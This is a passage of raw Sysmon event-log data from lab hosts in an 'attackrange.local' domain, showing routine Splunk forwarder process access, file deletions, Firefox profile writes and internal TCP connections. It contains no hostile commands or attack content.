15:02:36.456{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-738C-613B-1905-00000000F101}4092C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000017149Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:36.456{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-738C-613B-1905-00000000F101}4092C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000017148Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:36.457{625C326B-738C-613B-1905-00000000F101}4092C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000017147Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:36.081{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=54F83AB73CC0BE6CB011599C1BE90F8D,SHA256=8994C1540C0F982352414B62D17D19165ED46FB8494808918AB454949FD47471,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000017146Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:36.034{625C326B-738B-613B-1805-00000000F101}3104800C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000053393Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:37.702{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CB864AEE0813FD49E5E3C3B3EE8E6CDA,SHA256=A319B43B856EEDF8B5FF1BEF76D354F7A3D9163A0376163F09558663DEA17CF0,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017163Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:37.706{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A93B45C6443A91004459294C02B33C53,SHA256=C5EEC12BF3A241FF2AADADDCC26DF2613A099F674B4087F100037871F56A5992,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017162Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:37.487{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=844B74CA4A3D4270CC42EF9B917237F6,SHA256=4FB68E926E1AEA4E966CD71624A44FB9532942EA5DCE46652AA24733027D8E85,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017164Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:38.721{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=140E98F265F09AE106ADA143812C5BF6,SHA256=2E581D23C867E2790F7FC3FCB7992EC09E561FCC1C00C7BB166F3D2F6D51AA0E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053394Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:38.721{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7E30717B1522AEC2C6E59BD4051D7A2F,SHA256=DCAF8ACD9C05BFEB4FF870B7FF70993F84B471E6B4FC3BF16B1E0DDB782BFF8B,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017165Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:39.753{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F350A72B200B0FDF249352AB35B8B153,SHA256=BD78194CE30C1FDA2D7A1C6ED4EC3D935BA30EB3EC4760C6DC0137945BA7C43A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053395Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:39.736{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7517E654E37B23523CCC7C839B9DFAFE,SHA256=F7A4D8ADA8FA195D8A9C87C449AA6A91F5AAA9598C06394EB1CC0265B20CA6AA,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017166Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:40.784{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2ACFD71E8B74515B1EDB5FE7D782FFB9,SHA256=88E1186EAC360376361450029EF49B0513A0709788AD5C7BA6A2042017859E5C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053397Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:40.835{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D0DFCE2137315628127A64F8AEB30C20,SHA256=520EDBAB876B799629E52C93BFE45AD4B468DE4CBDC89714C9ED7EE04970B230,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000053396Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:38.417{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59647-false10.0.1.12-8000- 23542300x800000000000000053398Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:41.865{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D1D911FA2F75FC6BC699737B22506CB7,SHA256=72E01DCF2D08C6DC3038579A60EF875DEC5BACCCC0937CC0CF78232C22E799E5,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017168Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:41.846{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FA75C9F1D04DDF90CE76260DF3BB81D5,SHA256=2FB2731722AE945D787DE056E11B429F69C96FB405209FA9DEE314C185B346AF,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000017167Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:39.558{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50337-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000053399Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:42.867{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DD5D4DFA95476791EC13CBBA8089ABF4,SHA256=14469D4BEAD847E6E57BC281AF1C54A62A1F38C206364625A5E25AFE262DE50D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017169Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:42.846{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5C307C62A5782EFE043138232B933256,SHA256=41C63B2827D180CEE4F7EF7C9613AE39E406608078CC57A61D8B8058D27E5E31,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053400Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:43.900{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6556C204DAFC990871B6E97F7FBDA63D,SHA256=991584F49DA6C3D855E2CAF928E9D9A90A0BAD32F5DF7623703950F89277EECF,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017170Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:43.893{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DAD2907E7A464CC6019B828800745D0A,SHA256=9E4992D99312280537E7CDF70C21A7BC86FC03C18CA5387834F941DBE70CDA0E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053406Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:44.981{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A424C9F11D3F02A3A50A9AD8E6B3ACCF,SHA256=AA739357FDAA5D1FE9AC86A5232955B9D48500C13EE8979B99E322CF13C30C23,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017171Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:44.924{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=403F70292EABBE5F80BB4D6F8DB10D8C,SHA256=041CE1DDDBEEB245688A5A3B089EA6C829CA83ADE400822FCD652DBED06180CF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053405Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:44.581{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=CCB3437C74DFEF7CEC008048D04886C1,SHA256=E77221CA6D50F734E81A4C119327C71F85D8F9DABE2381F55BFD4B6EA08BB750,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000053404Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:44.581{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=BEBDF4072DE12E6F686A3834E35A919D,SHA256=8B13C1FD72CF7436DC9E006FAC7A4587AD5C91E5495954DB914F89E6959A6807,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000053403Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:44.581{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=ADC19671B53E913750E1D542ACB1CBD1,SHA256=1BF81B05EDE62AC99AB3F2DAC5B51F0226982525AA8B00323BBD4BA7431FB71B,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000053402Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:44.581{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=77B8048D1DACD93575CD665CE8254997,SHA256=7A2DC0DFDBA5D2747F2DC5EDFCAFB1D0EF610C50AA4E103960CAD33BDA956B15,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000053401Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:44.581{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=DE3D0569E614A8C25E04696FE5A18059,SHA256=75408CD031BEDA2EF08C746C2ABC2FD17D5D7CC8ED7A3FDF2F39ACF7BDB49FC8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017172Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:45.956{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EEBC0BA10A2C2449446DBAC2D58BCF0E,SHA256=3BBB8E9813A35AF9DD7D2C2C3218B7797A84176D6F6B8F5AAB16FB69CE3DC292,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000053407Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:43.477{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59648-false10.0.1.12-8000- 23542300x800000000000000017174Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:46.987{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B73BF4DD9FA35F0A965B89DB41ECC79B,SHA256=9A3E7CCD033F3784E2BA48BEE65A9A98427BB0F420BB78C547A226428C16848E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053408Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:46.121{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AA48B15DC9C21A62608EC675AAE22612,SHA256=F3B9CCE6405D6316AA18EE74DCE59EB767057A25120C3ED32C429E7F16D22FA9,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000017173Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:44.574{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50338-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000053409Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:47.151{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D5EC4401F27188AE50068EB61C41D069,SHA256=118E06E96624E2C8440C8DBB13EA2AB6560FDE02A3BD0AFB03B23009E538E0FC,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000053410Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:48.181{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=586A894D9B2DA1A060E39DADE4A09354,SHA256=1B25FFE42773F1D511BA53E0E8BD58893BCD58D043171E4C6FC936A0FD5E2CE9,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017175Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:48.003{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=775567B6DE9CA74B5327BF3BD3F55CFE,SHA256=7FE4524FF0F69288EB4FD164111469CC7394BFEDD229748FAA4C38A6EEE6829D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053411Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:49.198{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C197FACF60869E1C9E853AA13B05D544,SHA256=9B7CB3453FDA7AA7BD627ECC63CCE9DF06A74963E3E92DAC79F14FBD54FAF44D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017176Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:49.018{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B8559A503FBC62291C397A37F3007245,SHA256=0B0D11075DA54A63F0ECE729BA98B01459E701CF98FEDDA5CAAF2A104060D061,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053412Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:50.432{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CA7DBCD368CD1EC2090F4420B62B8D36,SHA256=DB1D919BB8806D1A3C10212885840C655AA342BD19ECBCD322F94B6A91CD2B0E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017177Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:50.049{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B07391EDE8ED98F073639A4899389241,SHA256=259E0C736CEC14CAD81A66B9C9866D7AAF3B71EBA1494945889D1AE11473D310,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000053414Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:49.444{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59649-false10.0.1.12-8000- 23542300x800000000000000053413Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:51.479{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F452D01DF9300CB0B57AA2584801146F,SHA256=1722878EC2ACE09D567866E87D13E029F1FA3D8B42F5D2A04741A4A5959170AC,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000017179Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:50.402{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50339-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000017178Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:51.112{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=19AA2EE50A2CA6BCBAD237A5A4F72D49,SHA256=3C16C74AB5C756F74C550A8F059FED07F7BC80A185C54DF612F4EDE173D74272,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053415Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:52.546{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=072738F52D98397871F5F4BEAA742C5C,SHA256=25AA43BC851DBF9B427F5DA4EB3825F4AE944C603D10AF72A2B2095C8642A29C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017180Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:52.115{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=91274E5EF1F81A58BF0459D8FC60E9D5,SHA256=CA35FBB23BD7FD7CA319975114538CEA8F8064ADDE018755E6CA4DA56285F1AF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053417Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:53.974{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\prefs-1.jsMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000053416Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:53.577{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=51421068CF78BED44A801AD49523F80E,SHA256=9614D3E04A71FDD6A8C4E3F6C2CB863C77A045F437E70770223B7BB12AB04385,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017181Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:53.178{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program 